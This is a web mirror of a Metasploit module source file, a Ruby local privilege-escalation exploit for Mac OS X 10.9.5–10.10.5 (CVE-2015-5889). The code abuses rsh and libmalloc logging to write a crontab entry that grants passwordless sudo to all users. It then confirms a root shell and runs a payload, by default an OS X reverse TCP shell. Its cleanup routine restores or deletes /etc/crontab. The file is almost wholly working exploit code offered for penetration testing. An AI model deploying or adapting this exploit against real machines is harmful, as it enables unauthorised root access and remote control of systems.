CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/rsh_libmalloc.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = NormalRanking
8
9
include Msf::Post::File
10
include Msf::Post::OSX::Priv
11
include Msf::Post::OSX::System
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
15
def initialize(info = {})
16
super(update_info(info,
17
'Name' => 'Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation',
18
'Description' => %q{
19
This module writes to the sudoers file without root access by exploiting rsh and malloc log files.
20
Makes sudo require no password, giving access to su even if root is disabled.
21
Works on OS X 10.9.5 to 10.10.5 (patched on 10.11).
22
},
23
'Author' => [
24
'rebel', # Vulnerability discovery and PoC
25
'shandelman116' # Copy/paste AND translator monkey
26
],
27
'References' => [
28
['EDB', '38371'],
29
['CVE', '2015-5889']
30
],
31
'DisclosureDate' => '2015-10-01',
32
'License' => MSF_LICENSE,
33
# Want to ensure that this can be used on Python Meterpreter sessions as well
34
'Platform' => ['osx', 'python'],
35
'Arch' => [ARCH_X64, ARCH_PYTHON],
36
'SessionTypes' => ['shell', 'meterpreter'],
37
'Privileged' => true,
38
'Targets' => [
39
['Mac OS X 10.9.5-10.10.5', {}]
40
],
41
'DefaultTarget' => 0,
42
'DefaultOptions' => {
43
'PAYLOAD' => 'osx/x64/shell_reverse_tcp'
44
}
45
))
46
47
register_options [
48
OptInt.new('WaitTime', [true, 'Seconds to wait for exploit to work', 60]),
49
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
50
]
51
end
52
53
def base_dir
54
datastore['WritableDir'].to_s
55
end
56
57
def exploit
58
if is_root?
59
fail_with Failure::BadConfig, 'Session already has root privileges'
60
end
61
62
unless writable? base_dir
63
fail_with Failure::BadConfig, "#{base_dir} is not writable"
64
end
65
66
# Check OS
67
os_check
68
69
# Check if crontab file existed already so it can be restored at cleanup
70
if file_exist? "/etc/crontab"
71
@crontab_original = read_file("/etc/crontab")
72
else
73
@crontab_original = nil
74
end
75
76
# Writing payload
77
if payload.arch.include?(ARCH_X64)
78
vprint_status("Writing payload to #{payload_file}.")
79
write_file(payload_file, payload_source)
80
vprint_status("Finished writing payload file.")
81
register_file_for_cleanup(payload_file)
82
elsif payload.arch.include?(ARCH_PYTHON)
83
vprint_status("No need to write payload. Will simply execute after exploit")
84
vprint_status("Payload encodeded is #{payload.encoded}")
85
end
86
87
# Run exploit
88
sploit
89
90
# Execute payload
91
print_status('Executing payload...')
92
if payload.arch.include?(ARCH_X64)
93
cmd_exec("chmod +x #{payload_file}; #{payload_file} & disown")
94
elsif payload.arch.include?(ARCH_PYTHON)
95
cmd_exec("python -c \"#{payload.encoded}\" & disown")
96
end
97
vprint_status("Finished executing payload.")
98
end
99
100
def os_check
101
# Get sysinfo
102
sysinfo = get_sysinfo
103
# Make sure its OS X (Darwin)
104
unless sysinfo["Kernel"].include? "Darwin"
105
print_warning("The target system does not appear to be running OS X!")
106
print_warning("Kernel information: #{sysinfo['Kernel']}")
107
return
108
end
109
# Make sure its not greater than 10.5 or less than 9.5
110
version = sysinfo["ProductVersion"]
111
minor_version = version[3...version.length].to_f
112
unless minor_version >= 9.5 && minor_version <= 10.5
113
print_warning("The target version of OS X does not appear to be compatible with the exploit!")
114
print_warning("Target is running OS X #{sysinfo['ProductVersion']}")
115
end
116
end
117
118
def sploit
119
user = cmd_exec("whoami").chomp
120
vprint_status("The current effective user is #{user}. Starting the sploit")
121
# Get size of sudoers file
122
sudoer_path = "/etc/sudoers"
123
size = get_stat_size(sudoer_path)
124
125
# Set up the environment and command for spawning rsh and writing to crontab file
126
rb_script = "e={\"MallocLogFile\"=>\"/etc/crontab\",\"MallocStackLogging\"=>\"yes\",\"MallocStackLoggingDirectory\"=>\"a\n* * * * * root echo \\\"ALL ALL=(ALL) NOPASSWD: ALL\\\" >> /etc/sudoers\n\n\n\n\n\"}; Process.spawn(e,[\"/usr/bin/rsh\",\"rsh\"],\"localhost\",[:out, :err]=>\"/dev/null\")"
127
rb_cmd = "ruby -e '#{rb_script}'"
128
129
# Attempt to execute
130
print_status("Attempting to write /etc/crontab...")
131
cmd_exec(rb_cmd)
132
vprint_status("Now to check whether the script worked...")
133
134
# Check whether it worked
135
crontab = read_file("/etc/crontab")
136
vprint_status("Reading crontab yielded the following response: #{crontab}")
137
unless crontab.include? "ALL ALL=(ALL) NOPASSWD: ALL"
138
vprint_error("Bad news... it did not write to the file.")
139
fail_with(Failure::NotVulnerable, "Could not successfully write to crontab file.")
140
end
141
142
print_good("Succesfully wrote to crontab file!")
143
144
# Wait for sudoers to change
145
new_size = get_stat_size(sudoer_path)
146
print_status("Waiting for sudoers file to change...")
147
148
# Start timeout block
149
begin
150
Timeout.timeout(datastore['WaitTime']) {
151
while new_size <= size
152
Rex.sleep(1)
153
new_size = get_stat_size(sudoer_path)
154
end
155
}
156
rescue Timeout::Error
157
fail_with(Failure::TimeoutExpired, "Sudoers file size has still not changed after waiting the maximum amount of time. Try increasing WaitTime.")
158
end
159
print_good("Sudoers file has changed!")
160
161
# Confirming root access
162
print_status("Attempting to start root shell...")
163
cmd_exec("sudo -s su")
164
user = cmd_exec("whoami")
165
unless user.include? "root"
166
fail_with(Failure::UnexpectedReply, "Unable to acquire root access. Whoami returned: #{user}")
167
end
168
print_good("Success! Acquired root access!")
169
end
170
171
def get_stat_size(file_path)
172
cmd = "env -i [$(stat -s #{file_path})] bash -c 'echo $st_size'"
173
response = cmd_exec(cmd)
174
vprint_status("Response to stat size query is #{response}")
175
begin
176
size = Integer(response)
177
return size
178
rescue ArgumentError
179
fail_with(Failure::UnexpectedReply, "Could not get stat size!")
180
end
181
end
182
183
def payload_source
184
if payload.arch.include?(ARCH_X64)
185
return Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
186
elsif payload.arch.include?(ARCH_PYTHON)
187
return payload.encoded
188
end
189
end
190
191
def payload_file
192
@payload_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
193
end
194
195
def cleanup
196
vprint_status("Starting the cron restore process...")
197
super
198
# Restore crontab back to is original state
199
# If we don't do this, then cron will continue to append the no password rule to sudoers.
200
if @crontab_original.nil?
201
# Erase crontab file and kill cron process since it did not exist before
202
vprint_status("Killing cron process and removing crontab file since it did not exist prior to exploit.")
203
rm_ret = cmd_exec("rm /etc/crontab 2>/dev/null; echo $?")
204
if rm_ret.chomp.to_i == 0
205
vprint_good("Successfully removed crontab file!")
206
else
207
print_warning("Could not remove crontab file.")
208
end
209
Rex.sleep(1)
210
kill_ret = cmd_exec("killall cron 2>/dev/null; echo $?")
211
if kill_ret.chomp.to_i == 0
212
vprint_good("Succesfully killed cron!")
213
else
214
print_warning("Could not kill cron process.")
215
end
216
else
217
# Write back the original content of crontab
218
vprint_status("Restoring crontab file back to original contents. No need for it anymore.")
219
cmd_exec("echo '#{@crontab_original}' > /etc/crontab")
220
end
221
vprint_status("Finished the cleanup process.")
222
end
223
end
224
225